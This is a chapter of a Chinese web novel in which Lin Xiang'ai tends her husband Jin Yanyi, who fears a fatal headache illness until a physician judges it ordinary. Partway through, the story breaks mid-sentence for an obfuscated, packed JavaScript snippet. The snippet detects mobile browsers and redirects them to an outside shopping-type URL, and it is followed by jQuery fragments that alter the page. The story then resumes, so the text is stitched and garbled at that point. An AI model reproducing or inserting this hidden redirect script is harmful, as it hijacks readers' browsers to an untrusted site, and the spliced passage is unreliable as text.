233. 金言奕得头风

作品:《夜窗如昼

    “言奕?”林香艾心中一沉,忙去打开帐房的门,冲了出去,“你说什么?王爷怎么了?”


    “王爷一早醒来就说头疼,流光说是可能染上头风了,让我赶紧来请福晋过去。”李萌说道。


    林香艾去帐房旁解开马缰绳,脚踩在马镫上,却有些腿软,险些摔到地上去,苏不苏扶着她上了马。


    “这里有我呢,福晋请放心去吧。”苏不苏说道。


    林香艾点了点头,策马往乌勒登的住处去了。


    来的这么些人,就只有金言奕自己得了头风,看来这病确实跟身体虚弱有某种关联,可到底是什么呢?她不清楚,黄立德也没有结论。


    想到昨天看到的那些病人痛苦的哀嚎,林香艾心里很慌张,她很后悔带着金言奕一起来到草原,她就应该自己来处理喜妹的事,让金言奕好好在家待着,只要他不来草原,就什么事都没有了。


    他是那么怕疼的一个人,现在该多难受啊,可现在没有后悔药能吃,林香艾只能想着到了之后,赶紧给金言奕配一副能减轻疼痛的药,让他尽量好受一些。


    流光在帐房里听到马蹄声近了,就赶忙迎了出去,林香艾下了马,直奔帐房门。


    “王爷现在怎么样?”林香艾问道。


    “在躺着,他一直嚷着头疼,还一直说要见你。”流光说道。


    林香艾进了帐房,走到了矮榻边,看到金言奕躺在上面,捂着脑袋直哼哼。


    “言奕,你怎么样?”林香艾坐在矮榻边,焦急地问道。


    金言奕见是福晋来了,一下子坐起身来,抱住了她,“怎么办?夫人,我的头好疼,我是不是得了那种难治的病?我是不是要死了?”


    林香艾轻轻拍着金言奕的背,“别怕,我在这里,言奕,你会没事的。”


    “我不想死,我不想跟你分开,我要是重新投胎,来生就再也遇不到你了。”金言奕哭着说道。


    听到金言奕的声音里带着哭腔,林香艾也忍不住哽咽起来,“不会的,你不会死,我不会让你死的,我们不求来生,我们要今生一直在一起。”


    金言奕放开林香艾,握着她的手说道:“夫人,庆容,你留在这里陪着我好不好?”


    生死问题突然摆在了眼前,林香艾再不能像面对别的病人一样从容,她以往总是想得太多,想得太远,总以为时间还很长,以为她和金言奕还有很多很多时间可以继续相处,她没有想到,突然之间,她就要失去金言奕了。


    林香艾的眼泪流了下来,“我会陪着你的,你现在头很痛吗?我去给你配药,喝了药,你就能舒服一些。”


    “你不要去,你哪里也不要去,我要你陪着我,只要你陪着我就好。”金言奕紧握着林香艾的手,固执地说道。


    看着金言奕苍白的脸和红红的眼睛,林香艾突然觉得一切都不重要了,王爷的身份不重要,她是不是公主也不重要了。


    自从她决定要跟金言奕共度一生,她就只有两个结局。


    一个是身份被拆穿,那她就必死无疑,不过,早在公主丢了的那天,她就该死了,现在已经多活了很多日子,反正都要被砍头,不如在死之前,好好享受这一切,和深爱的人在一起,能相守多久就相守多久,然后高高兴兴去死。


    另一个结局是没被拆穿,她会以公主的身份过一生,既然不会被拆穿,那她就要理直气壮地过这种生活,利用所有她能利用的东西,和金言奕一起,陪伴着彼此过一生。


    不管她最终迎来什么结局,她都希望至少跟金言奕在一起的这段日子,彼此都是开心的。


    林香艾握住了金言奕的手,流着泪说道:“我不走,我在这里陪着你,我会一直陪着你,永远陪着你。”


    金言奕这才觉得安心了不少,头疼的感觉也减轻了些许,“那你晚上也要陪我一起睡。”


    林香艾拿出手帕给金言奕擦了擦眼泪,“好,我都答应你。”


    金言奕眼里含着泪,轻轻笑了,“那就好,有你陪着我,我就不害怕了,要是我死了,你就把我的头颅剖开,这样,我的死,也算是对你有用的了。”


    “不要说这样的话。”林香艾的眼泪止也止不住,一颗接一颗顺着脸颊往下滴落,她慌张地想着能让金言奕活下去的理由,“你不会死的,黄大夫的研究已经有眉目了,我们肯定能救你。”


    “有什么眉目了?”金言奕有些不敢相信。


    “这个我暂时还不能说。”林香艾擦了擦眼泪,转头对流光说道:“流光,给王爷煮奶茶来喝。”


    “她不是说奶茶没有用吗?”金言奕说道。


    “喝些热茶暖暖身子也是好的。”林香艾看向李萌,“昨天王爷一直和你们在一起,他吃的喝的,跟你们有什么不同?有接触到什么特殊的东西吗?”


    “王爷吃的东西,我们也都吃了,要说有什么特殊的…”李萌回忆着昨天的事,“王爷在帐房外面盖着毯子睡了一觉,不会是因为这个吧。”


    林香艾转过头来看着金言奕,难道头部着凉是头风的诱因?“你怎么不在帐房里面睡呢?外面风大,你睡醒后有没有觉得头疼?”


    金言奕记不清昨天的感受,也不好意思说自己害怕进帐房,还做了噩梦,只模糊地说道:“可能有吧。”


    林香艾抬手轻抚着他的额头,“现在感觉怎么样?头还疼吗?”


    金言奕扯了扯嘴角,安慰着林香艾,“我感觉好多了。”


    “那就再睡一会吧,趁现在头不疼,多休息一会儿。”林香艾说道。


    金言奕紧紧握住了林香艾的手,“那你不要走。”


    “我不走。”林香艾扶着金言奕躺下,“你先睡,等奶茶煮好了,我再叫你。”


    “你也一起睡会儿吧。”金言奕轻声说道。


    “我昨晚睡得很好,现在睡不着,你睡吧,我不会走的,我去给你配一剂止疼的药,等你再头疼的时候,就能直接用了。”林香艾说道。


    金言奕点了点头,松开林香艾的手,闭上了眼睛。


    林香艾去打开了自己的药箱,坐在药箱前,迷茫地看着箱子里的药材,她不知道草原上有这种头风病,也没有预料到金言奕会染病,她带的药材不全,要配齐这副药,还得去一趟黄立德那里。


    就算配齐了这副药,这药方也救不了金言奕的命,她不知道自己应该怎么办才好,


    也许她该试试黄立德的药方,也许她该派人去喜妹那里问问,扎拉丰阿现在的情况怎么样,喝了药有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117616|187569||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有好转,也许她应该仔细询问金言奕的头疼情况,确定他的风涎在什么位置,也许她应该到黄立德那里去,等到讷敏死亡,剖开头颅,寻找病因,也许……


    林香艾想了许多许多,但她的手连抬起来的力气都没有,她一开始就知道金言奕是个病秧子,他短命是必然的,可是老师已经帮他调养了身体,他还在努力锻炼,怎么会得到这么一个结果?她无法接受。


    金言奕要是死了……林香艾突然觉得心很痛,没办法再想下去,她站起身,走出了帐房,一个人在风中擦着眼泪。


    一个人骑着马从远处而来,停在了林香艾近旁,“庄大夫,王爷怎么样了?”


    林香艾听到是黄立德的声音,忙擦了擦眼泪,对她说道:“他还好,现在睡着了,他昨天在帐房外面睡了一觉,你说这头风会不会跟头部受凉有关?”


    “不好说。”黄立德下了马,把缰绳递给高平,走进了帐房,来到矮榻边,看了看金言奕的睡脸,向一旁的流光问道:“他早上吐了几次?”


    流光从炉子旁走了过来,“王爷还没有吐过。”


    “有身子抽搐的情况吗?”黄立德问道。


    “没有。”流光答道。


    黄立德看向林香艾,“他说的头疼,是什么样的疼?”


    林香艾茫然地看着黄立德,“我忘了问了。”


    黄立德在矮榻边坐下,轻轻拍了拍金言奕的肩膀,“王爷,醒醒!”


    金言奕猛然惊醒,惊恐地看着黄立德,“你要干什么?”


    黄立德笑了笑,“我听说王爷病了,过来给王爷把把脉。”


    “我不需要你把脉,有庆容在就够了。”金言奕说着,看向了一旁的林香艾。


    “言奕,你不要害怕,我在这里,让黄大夫给你把把脉,没事的。”林香艾轻声安慰道。


    还不等金言奕同意,黄立德就掀起了被子,拿出他的右臂,两指搭在了他的脉搏上。


    “你头疼的时候,是什么位置疼?”黄立德问道。


    “整个头都疼。”金言奕答道。


    “这种疼痛是什么感觉?是胀痛?被勒紧的痛?刺痛?还是钻痛?有没有感觉疼痛在你脑袋里游走?”黄立德又问道。


    金言奕想了想,“像是脑袋被勒紧的痛。”


    黄立德点了点头,看向金言奕的眼睛,“你很害怕我吗?看到我的时候会很紧张吗?”


    “不害怕,是有点紧张。”金言奕轻声答道。


    黄立德没有继续问下去,而是把他的手臂放回被子里,起身对林香艾说道:“没有游走型头疼,没有呕吐,身体也没有抽搐,他得的是普通的头风,可能是这两天精神太紧张了,让他好好放松放松就没事了。”


    “真的?”林香艾睁着红红的眼睛,有些不敢置信。


    “关心则乱,等你冷静下来,再给他把把脉就知道了,我还要去扎拉丰阿那里,就不陪你了,讷敏有苏不苏照顾,你不用担心,先把这里处理好再过去吧。”黄立德说完,大踏步走了出去。


    “多谢黄大夫。”林香艾冲黄立德的背影道了谢,在矮榻边坐了下来,握着金言奕的手,含泪笑着说道:“你听到了吗?言奕,你没有得那种病,你不会死的。”